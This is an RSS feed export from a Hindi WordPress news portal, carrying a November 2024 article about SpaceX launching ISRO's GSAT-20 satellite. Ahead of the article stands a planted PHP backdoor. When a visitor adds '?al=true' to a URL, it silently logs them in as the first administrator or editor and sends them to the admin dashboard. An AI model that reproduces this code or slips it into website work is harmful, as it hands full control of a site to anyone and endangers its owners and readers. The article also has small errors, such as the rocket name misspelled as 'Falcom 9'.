// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Elon Musk’s company – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 16 Nov 2024 20:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 एलन मस्क की कंपनी स्पेसएक्स ने भारतीय अंतरिक्ष अनुसंधान संगठन (ISRO) के साथ बड़ी डील की https://pratyushaashakinayikiran.com/?p=99591 Sat, 16 Nov 2024 20:45:00 +0000 https://pratyushaashakinayikiran.com/?p=99591 वाशिंगटन
एलन मस्क की कंपनी स्पेसएक्स ने भारतीय अंतरिक्ष अनुसंधान संगठन (ISRO) के साथ बड़ी डील की है। दोनों मिलकर GSAT-20 कम्युनिकेशन सैटलाइट लॉन्च करने वाले हैं। अगले सप्ताह स्पेसएक्स के Falcom 9 रॉकेट की लॉन्चिग हो सकती है। पहली बार है जब कि इसरो और स्पेसएक्स आपसी सहयोग से इस तरह की लॉन्चिंग कर रहा है। बता दें कि यह डील इसलिए भी खास है क्योंकि डोनाल्ड ट्रंप एलन मस्क के खास दोस्त हैं। वह हाल ही में अमेरिका के राष्ट्रपति निर्वाचित हुए हैं। इसके बाद ही इस डील को भी अंतिम रूप मिला है।

GSAT-20 सैटलाइट 4700 किलो का है और भारत के रॉकेट के लिए इसे ले जाना काफी मुश्किल है। ऐसे में इस लॉन्चिंग के लिए स्पेसएक्स का सहारा लिया जा रहा है। यह लॉन्चिंग अमेरिका केप कैनावराल से होगी। यह सैटलाइट अगले 14 साल तक काम करता रहेगा।

इससे पहले लॉन्चिंग सर्विस के लिए इसरो फ्रांस की कमर्शल लॉन्च कंपनी का सहारा लेता था। भारी सैटलाइट्स की लॉन्चिंग के लिए इसकी जरूरत पड़ती थी। हालांकि कंपनी के पास अब कोई भी ऑपरेशनल रॉकेट नहीं है। यूक्रेन से चल रहे संघर्ष के बीच रूस लॉन्चिंग नहीं कर पा रहा है। ऐसे में स्पेसएक्स फायदा भी उठा रहा है। यह सैटलाइट पूरे भारत में सेवा देगा। रिमोट इलाकों में इंटरनेट के लिए सैटलाइट उपलब्ध रहेगा।

इसरो के चेयरमैन राधाकृष्णन दुराइराज ने कहा, इस लॉन्चिंग की लगभग लागत 60 से 70 मिलियन डॉलर है। बता दें कि कम कीमत में लॉन्चिंग के मामले में भारत और स्पेसएक्स की स्पर्धा भी चल रही है। वहीं एलन मस्क यह भी चाहते हैं कि भारत में उनकी स्पेसएक्स स्टारलिंक सैटलाइट सर्विस के इस्तेमाल को भी मंजूरी मिल जाए। अभी सुरक्षा कारणों से भारत में इसे इजाजत नहीं मिली है। भारत ने अंतरिक्षयात्रियों को आईएसएस तक भेजने के लिए भी स्पेसएक्स के साथ डील की है।

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